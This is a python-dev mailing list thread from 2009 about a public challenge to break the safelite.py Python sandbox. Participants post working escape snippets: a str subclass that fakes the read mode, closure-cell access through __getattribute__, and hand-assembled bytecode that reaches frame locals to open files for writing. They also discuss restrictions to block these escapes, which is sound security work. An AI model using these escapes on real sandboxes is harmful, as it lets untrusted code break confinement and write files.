Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

I take it back, we need to find all the trivial ones too.
Agreed!
BTW Tav, you ought to create a small website for this challenge. A blog post or wiki page would suffice.
Done. http://tav.espians.com/a-challenge-to-break-python-security.html Please blog/retweet and of course, try the challenge yourselves =) -- love, tav plex:espians/tav | tav@espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian

TWIW, on Twitter, Ian Bicking just came up with a half-solution. I figured out the other half. I guess you own Ian drinks and me dinner. :-) $ python Python 2.5.3a0 (release25-maint:64494, Jun 23 2008, 19:17:09) [GCC 4.0.3 (Ubuntu 4.0.3-1ubuntu5)] on linux2 Type "help", "copyright", "credits" or "license" for more information.
from safelite import FileReader class S(str): ... def __eq__(self, o): print o; return 'r' == o ... f = FileReader('w00t', S('w')) r f.close()
$ ls -l w00t -rw-r----- 1 guido eng 0 Feb 23 14:50 w00t $
On Mon, Feb 23, 2009 at 2:41 PM, tav <tav@espians.com> wrote:
I take it back, we need to find all the trivial ones too.
Agreed!
BTW Tav, you ought to create a small website for this challenge. A blog post or wiki page would suffice.
Done.
http://tav.espians.com/a-challenge-to-break-python-security.html
Please blog/retweet and of course, try the challenge yourselves =)
-- love, tav
plex:espians/tav | tav@espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian
-- --Guido van Rossum (home page: http://www.python.org/~guido/)

Don't I remember the previous restricted module dying a similar "death of 1,000 cuts" before it was concluded to be unsafe at any height and abandoned? regards Steve Guido van Rossum wrote:
TWIW, on Twitter, Ian Bicking just came up with a half-solution. I figured out the other half. I guess you own Ian drinks and me dinner. :-)
$ python Python 2.5.3a0 (release25-maint:64494, Jun 23 2008, 19:17:09) [GCC 4.0.3 (Ubuntu 4.0.3-1ubuntu5)] on linux2 Type "help", "copyright", "credits" or "license" for more information.
from safelite import FileReader class S(str): ... def __eq__(self, o): print o; return 'r' == o ... f = FileReader('w00t', S('w')) r f.close()
$ ls -l w00t -rw-r----- 1 guido eng 0 Feb 23 14:50 w00t $
On Mon, Feb 23, 2009 at 2:41 PM, tav <tav@espians.com> wrote:
I take it back, we need to find all the trivial ones too. Agreed!
BTW Tav, you ought to create a small website for this challenge. A blog post or wiki page would suffice. Done.
http://tav.espians.com/a-challenge-to-break-python-security.html
Please blog/retweet and of course, try the challenge yourselves =)
-- Steve Holden +1 571 484 6266 +1 800 494 3119 Holden Web LLC http://www.holdenweb.com/

Don't I remember the previous restricted module dying a similar "death of 1,000 cuts" before it was concluded to be unsafe at any height and abandoned?
I think you are slightly misremembering. It got cut again and again, but never died. Then, new-style classes hit an artery, and it bled to death. I'm curious how this one fares. Regards, Martin

On Mon, Feb 23, 2009 at 3:16 PM, "Martin v. Löwis" <martin@v.loewis.de> wrote:
Don't I remember the previous restricted module dying a similar "death of 1,000 cuts" before it was concluded to be unsafe at any height and abandoned?
I think you are slightly misremembering. It got cut again and again, but never died. Then, new-style classes hit an artery, and it bled to death.
I'm curious how this one fares.
FWIW, I am remembering more about how Samuele cracked it. It had to do with getting the supervisor code to call one of its own functions with arguments provided by the sandboxed code. Tav's safelite.py doesn't seem to be directly exploitable that way because (using ctypes hacks) it *removes* some offending special methods. But that door would be at least slightly ajar with Tar's proposed patch to Python, as that doesn't remove the offending attributes (__subclasses__ etc.); it only forbids them in restricted mode. But this once again enables Samuele's hack. (Oh if I only could find the link with the actual attack -- it was quite a bit more devious than attacks linked to so far.) -- --Guido van Rossum (home page: http://www.python.org/~guido/)

Guido van Rossum wrote:
On Mon, Feb 23, 2009 at 3:16 PM, "Martin v. Löwis" <martin@v.loewis.de> wrote:
Don't I remember the previous restricted module dying a similar "death of 1,000 cuts" before it was concluded to be unsafe at any height and abandoned?
I think you are slightly misremembering. It got cut again and again, but never died. Then, new-style classes hit an artery, and it bled to death.
I'm curious how this one fares.
FWIW, I am remembering more about how Samuele cracked it. It had to do with getting the supervisor code to call one of its own functions with arguments provided by the sandboxed code. Tav's safelite.py doesn't seem to be directly exploitable that way because (using ctypes hacks) it *removes* some offending special methods. But that door would be at least slightly ajar with Tar's proposed patch to Python, as that doesn't remove the offending attributes (__subclasses__ etc.); it only forbids them in restricted mode. But this once again enables Samuele's hack. (Oh if I only could find the link with the actual attack -- it was quite a bit more devious than attacks linked to so far.)
http://mail.python.org/pipermail/python-dev/2003-March/033978.html

Sorry, it wasn't Ian Bicking. I have no idea what made me thing that. I guess I am not yet an experienced Tweeter. :-( It was Mark Eichin, CC'ed here. --Guido On Mon, Feb 23, 2009 at 2:51 PM, Guido van Rossum <guido@python.org> wrote:
TWIW, on Twitter, Ian Bicking just came up with a half-solution. I figured out the other half. I guess you own Ian drinks and me dinner. :-)
$ python Python 2.5.3a0 (release25-maint:64494, Jun 23 2008, 19:17:09) [GCC 4.0.3 (Ubuntu 4.0.3-1ubuntu5)] on linux2 Type "help", "copyright", "credits" or "license" for more information.
from safelite import FileReader class S(str): ... def __eq__(self, o): print o; return 'r' == o ... f = FileReader('w00t', S('w')) r f.close()
$ ls -l w00t -rw-r----- 1 guido eng 0 Feb 23 14:50 w00t $
On Mon, Feb 23, 2009 at 2:41 PM, tav <tav@espians.com> wrote:
I take it back, we need to find all the trivial ones too.
Agreed!
BTW Tav, you ought to create a small website for this challenge. A blog post or wiki page would suffice.
Done.
http://tav.espians.com/a-challenge-to-break-python-security.html
Please blog/retweet and of course, try the challenge yourselves =)
-- love, tav
plex:espians/tav | tav@espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian
-- --Guido van Rossum (home page: http://www.python.org/~guido/)
-- --Guido van Rossum (home page: http://www.python.org/~guido/)

guido> >>> class S(str): guido> ... def __eq__(self, o): print o; return 'r' == o guido> [snip] Very devious -- @eichin and Guido! You guys get the price for the cutest exploit yet -- but sadly no dinner or drinks -- that was just for the first crack -- which goes to Victor =) steve> Don't I remember the previous restricted module dying a steve> similar "death of 1,000 cuts" before it was concluded steve> to be unsafe at any height and abandoned? Steve, this isn't death by a 1,000 cuts. What's being put forward here is not a specific implementation -- but rather a specific model of security (the object capability model) -- which has been proven to be foolproof. The question here is whether Python can support that. And, my belief is that it can. Besides the really nice __eq__ hack, the other exploits so far are just an inappropriate setup of the environment -- the trick with object capability is *ensuring* that unsafe references aren't passed to untrusted code. In an earlier version of safelite, I even returned the actual file object when f.close() was called... oops! But that doesn't invalidate the model or the possibility of using it in Python. What would invalidate it is someone finding a way to bypass it completely in Python and this challenge is an attempt to see if we can find such a way. -- love, tav plex:espians/tav | tav@espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian

Le Tuesday 24 February 2009 00:22:19 tav, vous avez écrit :
guido> >>> class S(str): guido> ... def __eq__(self, o): print o; return 'r' == o guido> [snip]
Very devious -- @eichin and Guido!
mode = str(mode) is not enough to protect FileReader about evil object faking "r" string. Example without safelite.py: -------------------- class Mode(str): def __str(__self): return self def __eq__(self, x): return x == 'r' mode = Mode('w') mode = str(mode) assert mode == 'r' # ok ! f=open('x', mode) -> opened in write mode -------------------- ... hey! The rules (safelite.py) changed one more time! The check on mode is now: if type(mode) is not type(''): raise TypeError("mode has to be a string.") Could you keep all versions of safelite.py? (eg. rename new version as safelite2.py, safelite3.py, etc.) -- Victor Stinner aka haypo http://www.haypocalc.com/blog/

tav wrote:
But that doesn't invalidate the model or the possibility of using it in Python.
However, there's also the matter of whether it's *practical* to use the model in Python. The custom-string exploit illustrates that you have to be extremely careful what you do with, and what you assume about, anything given to you by untrusted code. How confident is the user of the capability model going to be that there isn't some other obscure exploit that he hasn't thought of? To be able to have confidence in it, a capability model needs to start with objects having no capabilities at all, and you deliberately add the capabilities you want it to have. But Python objects come by default with a huge number of capabilities, designed to allow the programmer to do just about anything he wants short of wrecking the internals of the interpreter (wrecking the rest of his computer is fine, though:-). And you not only have to think about the capabilities of the objects that you give to others, but the capabilities of objects that others give to you -- and be careful not to use any of them in a way that could fool you. So while the model may be theoretically sound, applying it to Python is not easy to do in a way that one can have confidence in. -- Greg

On Mon, 23 Feb 2009 23:22:19 +0000, tav wrote:
Steve, this isn't death by a 1,000 cuts. What's being put forward here is not a specific implementation -- but rather a specific model of security (the object capability model) -- which has been proven to be foolproof.
Proven? Isn't it impossible to prove something like this? "Nobody ever see an alien" is not a proof for "There is no alien". "Nobody have thought of a way to break the model" is not a proof for "The model is invincible"...

Lie Ryan wrote:
On Mon, 23 Feb 2009 23:22:19 +0000, tav wrote:
Steve, this isn't death by a 1,000 cuts. What's being put forward here is not a specific implementation -- but rather a specific model of security (the object capability model) -- which has been proven to be foolproof.
Proven? Isn't it impossible to prove something like this? "Nobody ever see an alien" is not a proof for "There is no alien". "Nobody have thought of a way to break the model" is not a proof for "The model is invincible"...
Quite. regards Steve -- Steve Holden +1 571 484 6266 +1 800 494 3119 Holden Web LLC http://www.holdenweb.com/

Le Monday 23 February 2009 23:41:30, vous avez écrit :
http://tav.espians.com/a-challenge-to-break-python-security.html
Please blog/retweet and of course, try the challenge yourselves =)
The challenge can be seen as: is it possible to read "secret" in the following code without using b.func_code, b.func_globals or b.func_closure: --------------------- def a(): secret = 42 def b(): print(secret) return b b = a() secret = ??? --------------------- With func_xxx, it's possible to get the secret with: --------------------- def get_cell_value(cell): return type(lambda: 0)((lambda x: lambda: x)(0).func_code, {}, None, None, (cell,))() secret = get_cell_value(b.func_closure[0]) # 42 --------------------- Function found at: http://code.activestate.com/recipes/439096/ But how can we get the closure if b.func_closure doesn't exist? Oh, wait! What's this: b.__getattribute__... ------------------------------------- secret = get_cell_value(b.__getattribute__('func_closure')[0]) ------------------------------------- About FileReader, a full exploit: ------------------------------------- from safelite import FileReader def get_cell_value(cell): return type(lambda: 0)((lambda x: lambda: x)(0).func_code, {}, None, None, (cell,))() # Create 'w' string which is equals to 'r' class Mode(str): def __str__(self): return self def __eq__(self, x): return x == 'r' mode = Mode('w') f = FileReader('0wn3d', 'w') fileobj = get_cell_value(f.tell.__getattribute__('func_closure')[0]) fileobj.write('twice!\n') f.close() ------------------------------------- -- Victor Stinner aka haypo http://www.haypocalc.com/blog/

Hey Victor, You definitely got to the heart of the challenge.
f.tell.__getattribute__('func_closure')
But, have you actually run that code? Cos that doesn't work here... sorry if I missed something... -- love, tav plex:espians/tav | tav@espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian

victor> f.tell.__getattribute__('func_closure') tak> But, have you actually run that code? Ooops, I modified my local copy of safelite.py to disable func_xxx protections :-p With the latest version of safelite.py, my exploit doesn't work anymore. Sorry. -- Victor Stinner aka haypo http://www.haypocalc.com/blog/

Another potential avenue for attacks: I can access the various class and metaclass objects easily:
f = FileReader('/etc/passwd') f.__class__ <class 'safelite.NamespaceObject'> f.__class__.__metaclass__ <class 'safelite.NamespaceContext'> f.__class__.__metaclass__.__call__ <unbound method NamespaceContext.__call__> f.__class__.__metaclass__.__call__.im_func <function __call__ at 0x66470> kall = f.__class__.__metaclass__.__call__.im_func
Now calling kall() with appropriate arguments will allow me to let the supervisor do setattr() operations on any object I have access to. It will probably end with an exception but that shouldn't matter:
kall(f.__class__.__metaclass__, [('foo', 47)]) <type 'list'> f.__class__.__metaclass__.foo 47
Insofar as the metaclass has any purpose at all for security this might let us thwart that purpose... -- --Guido van Rossum (home page: http://www.python.org/~guido/)

guido> I can access the various class and metaclass objects guido> easily [snip] It would've been possible to replace __call__ on the metaclass -- which, though not a security leak by itself, could've been abused for some fun. I've inlined the __metaclass__ to prevent fun of this kind. But the really tricky one so far is this hardcore hack that Paul Cannon emailed in:
from safelite import FileReader __builtins__.TypeError = type(lambda: 0)(type(compile('1', 'b', 'eval'))(2, 2, 4, 67, 'y\x08\x00t\x00\x00\x01Wn\x09\x00\x01\x01a\x00\x00n\x01\x00X|\x01\x00|\x00\x00\x83\x01\x00S', (None,), ('stuff',), ('g', 'x'), 'q', 'f', 1, ''), globals(), None, (TypeError,)) try: ... FileReader('foo', 2) ... except: ... pass ... stuff.tb_frame.f_back.f_locals['open_file']('w00t', 'w').write('yaymore\n')
He explains it in detail here: http://thepaulprog.blogspot.com/2009/02/safelite-exploit.html It's very cool! He uses the ``compile`` builtin to get hold of the CodeType and then uses that to construct a nifty function with custom bytecode. Turns out that with the bytecode one can grab traceback objects off of the stack!! And, from there, it's just a mere attribute access away to get hold of traceback.tb_frame! Paul, wisely, outlines the two possible options to remedy this: 1. Remove ``compile`` from the safe builtins 2. Take out ``tb_frame`` If compile is not present and given that func_code and gi_code are not present -- are there other ways of getting at the CodeType? If there aren't then getting rid of compile gives us an easy win. If getting rid of tb_frame is the approach -- then you were right Guido -- there are more variables which need to be restricted! But, this just makes the patch into 7 lines of code instead of 6, so I'm still happy =) The only thing I can't figure out is how to get rid of the attribute using ctypes for the safelite challenge as calling dictionary_of(TracebackType) in safelite.py presents a very minimal {'__doc__': None} Also, the comments in Lib/types.py states: # In the restricted environment, exc_info returns (None, None, # None) Then, tb.tb_frame gives an attribute error I can't seem to find the place in the Python source where exc_info() behaves differently under restricted mode... Thoughts on which of the two options is better would be very appreciated! And thanks for the ongoing hacks guys -- this is turning out great!! -- love, tav plex:espians/tav | tav@espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian

tav wrote:
1. Remove ``compile`` from the safe builtins 2. Take out ``tb_frame``
Thoughts on which of the two options is better would be very appreciated!
Given the context manager hack I just sent you (similar in spirit to Paul's, just using a context manager's __exit__() method to get hold of the traceback instead of hacked bytecode), I think we can safely say that tb_frame has to go. Cheers, Nick. -- Nick Coghlan | ncoghlan@gmail.com | Brisbane, Australia ---------------------------------------------------------------

Hey Nick,
Given the context manager hack I just sent you (similar in spirit to Paul's, just using a context manager's __exit__() method to get hold of the traceback instead of hacked bytecode)
Thanks for this -- very cool!
I think we can safely say that tb_frame has to go.
I've fixed this in v8 -- got a website that I can link to for the blog? And instead of trying to make tb_frame go away, I'd like to add the following to my proposed patch of RESTRICTED attributes: * f_code * f_builtins * f_globals * f_locals That seems to do the trick... -- love, tav plex:espians/tav | tav@espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian

On Tue, Feb 24, 2009 at 3:05 PM, tav <tav@espians.com> wrote:
And instead of trying to make tb_frame go away, I'd like to add the following to my proposed patch of RESTRICTED attributes:
* f_code * f_builtins * f_globals * f_locals
That seems to do the trick...
A goal is to use this in App Engine, yes? Which uses cgitb to report errors? Which needs these restricted frame attributes to report the values of variables when the error occurred? Andrew Dalke dalke@dalkescientific.com

Le Tuesday 24 February 2009 15:46:04 Andrew Dalke, vous avez écrit :
And instead of trying to make tb_frame go away, I'd like to add the following to my proposed patch of RESTRICTED attributes:
* f_code * f_builtins * f_globals * f_locals
That seems to do the trick...
A goal is to use this in App Engine, yes? Which uses cgitb to report errors? Which needs these restricted frame attributes to report the values of variables when the error occurred?
We should be able to restore the original environment. Example: ... jail(evil_func) # called in the jail # unsafe environment with __subclasses__, f_code, etc. ... -- Victor Stinner aka haypo http://www.haypocalc.com/blog/

I didn't see Tav actually say this but are we all agreed that compile() should be removed from __builtins__?

On Tue, Feb 24, 2009 at 7:24 AM, Jeff Hall <hall.jeff@gmail.com> wrote:
I didn't see Tav actually say this but are we all agreed that compile() should be removed from __builtins__?
I personally disagree -- I think we should instead add restrictions on the creation of new code objects by calling the constructor directly. Calling compile() should be fine. -- --Guido van Rossum (home page: http://www.python.org/~guido/)

At 03:52 PM 2/24/2009 +0100, Victor Stinner wrote:
Le Tuesday 24 February 2009 15:46:04 Andrew Dalke, vous avez écrit :
A goal is to use this in App Engine, yes? Which uses cgitb to report errors? Which needs these restricted frame attributes to report the values of variables when the error occurred?
We should be able to restore the original environment. Example:
... jail(evil_func) # called in the jail # unsafe environment with __subclasses__, f_code, etc. ...
Of course, you'll have to ensure that anything you do with data from the jail is also jailed... that callbacks run in the jail, etc. (This is one advantage of the RestrictedPython approach -- the jailing of the restricted code isn't dependent on some global state; it's wired right into the restricted code.)

On Tue, Feb 24, 2009 at 6:46 AM, Andrew Dalke <dalke@dalkescientific.com> wrote:
On Tue, Feb 24, 2009 at 3:05 PM, tav <tav@espians.com> wrote:
And instead of trying to make tb_frame go away, I'd like to add the following to my proposed patch of RESTRICTED attributes:
* f_code * f_builtins * f_globals * f_locals
That seems to do the trick...
A goal is to use this in App Engine, yes? Which uses cgitb to report errors? Which needs these restricted frame attributes to report the values of variables when the error occurred?
The goal is not to run the entire app in the sandbox. The goal (Tav's goal I should say -- I don't have this need myself :-) is for an app to be able to safely run snippets of Python uploaded by users of the app. I think it's fine if those snippets can't format beautiful tracebacks -- the app's own ability to do so is not affected. -- --Guido van Rossum (home page: http://www.python.org/~guido/)

On Mon, Feb 23, 2009 at 11:07 PM, tav <tav@espians.com> wrote:
guido> I can access the various class and metaclass objects guido> easily [snip]
It would've been possible to replace __call__ on the metaclass -- which, though not a security leak by itself, could've been abused for some fun.
I've inlined the __metaclass__ to prevent fun of this kind.
In fact you don't need a metaclass at all. I think you could do something like this in your Namespace() function: ...compute ns_items as before... class NamespaceObject(object): __slots__ = () for name, value in ns_items: setattr(NamespaceObject, name, value) return NamespaceObject()
But the really tricky one so far is this hardcore hack that Paul Cannon emailed in:
from safelite import FileReader __builtins__.TypeError = type(lambda: 0)(type(compile('1', 'b', 'eval'))(2, 2, 4, 67, 'y\x08\x00t\x00\x00\x01Wn\x09\x00\x01\x01a\x00\x00n\x01\x00X|\x01\x00|\x00\x00\x83\x01\x00S', (None,), ('stuff',), ('g', 'x'), 'q', 'f', 1, ''), globals(), None, (TypeError,)) try: ... FileReader('foo', 2) ... except: ... pass ... stuff.tb_frame.f_back.f_locals['open_file']('w00t', 'w').write('yaymore\n')
That is a known loophole that makes anything possible (mostly segfaults, for sure). App Engine also stops you from doing this.
He explains it in detail here: http://thepaulprog.blogspot.com/2009/02/safelite-exploit.html
It's very cool!
He uses the ``compile`` builtin to get hold of the CodeType and then uses that to construct a nifty function with custom bytecode. Turns out that with the bytecode one can grab traceback objects off of the stack!!
And, from there, it's just a mere attribute access away to get hold of traceback.tb_frame!
Paul, wisely, outlines the two possible options to remedy this:
1. Remove ``compile`` from the safe builtins 2. Take out ``tb_frame``
3. Disallow creating code objects from their constructor in restricted mode. Please add this to your "restricted" patch. (I still think your challenge would be more realistic if you didn't share __builtins__ but instead relied on restricted mode more.)
If compile is not present and given that func_code and gi_code are not present -- are there other ways of getting at the CodeType? If there aren't then getting rid of compile gives us an easy win.
You can also create code objects by unmarshalling them. This should also be prevented in restricted mode.
If getting rid of tb_frame is the approach -- then you were right Guido -- there are more variables which need to be restricted! But, this just makes the patch into 7 lines of code instead of 6, so I'm still happy =)
Restricting tb_frame is probably a good idea on its own; in 3.0 you won't have to work so hard to get access to a traceback object, since each exception has one. OTOH traceback.py uses some things from the frame, but maybe we'll just have to forego that (or provide selected R/O access to some frame attributes deemed benign).
The only thing I can't figure out is how to get rid of the attribute using ctypes for the safelite challenge as calling dictionary_of(TracebackType) in safelite.py presents a very minimal {'__doc__': None}
I don't know anything about ctypes or dictionary_of(). Maybe you need to raise an exception first so that PyType_Ready is called? The source is in Python/traceback.c.
Also, the comments in Lib/types.py states:
# In the restricted environment, exc_info returns (None, None, # None) Then, tb.tb_frame gives an attribute error
I can't seem to find the place in the Python source where exc_info() behaves differently under restricted mode...
I'm guessing this refers to a pseudo-implementation of sys.exc_info() provided by rexec.py.
Thoughts on which of the two options is better would be very appreciated!
And thanks for the ongoing hacks guys -- this is turning out great!!
-- love, tav
plex:espians/tav | tav@espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian
-- --Guido van Rossum (home page: http://www.python.org/~guido/)

Le Tuesday 24 February 2009 01:31:55 Victor Stinner, vous avez écrit :
(...) But how can we get the closure if b.func_closure doesn't exist? Oh, wait! What's this: b.__getattribute__... ------------------------------------- secret = get_cell_value(b.__getattribute__('func_closure')[0]) ------------------------------------- (...)
Before this exploit, I tried to rewrite get_cell_value() to avoid reading func_xxx ... but it does work, I always need the closure data to get the secret. Anyway, I think that creating executing arbitrary Python bytecode have to be blocked! compile() have to be removed from __builtins__ Extract of my try to rewrite get_cell_value(): ------------------------------------ # get code class c = compile('1', '<string>', 'eval') code = c.__class__ # get function class def func(): pass function = type(func) function.__dict__.clear() # code(argcount, nlocals, stacksize, flags, codestring, constants, names, # varnames, filename, name, firstlineno, lnotab, freevars, cellvars) func_code=code(0, 0, 1, 19, '\x88\x00\x00S', (None,), tuple(), tuple(), '<string>', 'hack', 3, '\x00\x01', ('fileobj',), tuple()) closure = b.func_closure # FIXME: Get b closure!? newread = function(func_code, globals(), func_code.co_name, None, closure) fileobj = newread() ------------------------------------ I'm able to get the code class and so create arbitrary code object, that's bad! If the user is unable to create a code object (no more compile()) or to get the code of a function, it's fine. Note: The byteocode is the bytecode of b() in the following code: def a(): secret = 42 def b(): return secret return b() -- Victor Stinner aka haypo http://www.haypocalc.com/blog/
participants (12)
-
"Martin v. Löwis"
-
Andrew Dalke
-
Greg Ewing
-
Guido van Rossum
-
Jeff Hall
-
Lie Ryan
-
Nick Coghlan
-
P.J. Eby
-
Samuele Pedroni
-
Steve Holden
-
tav
-
Victor Stinner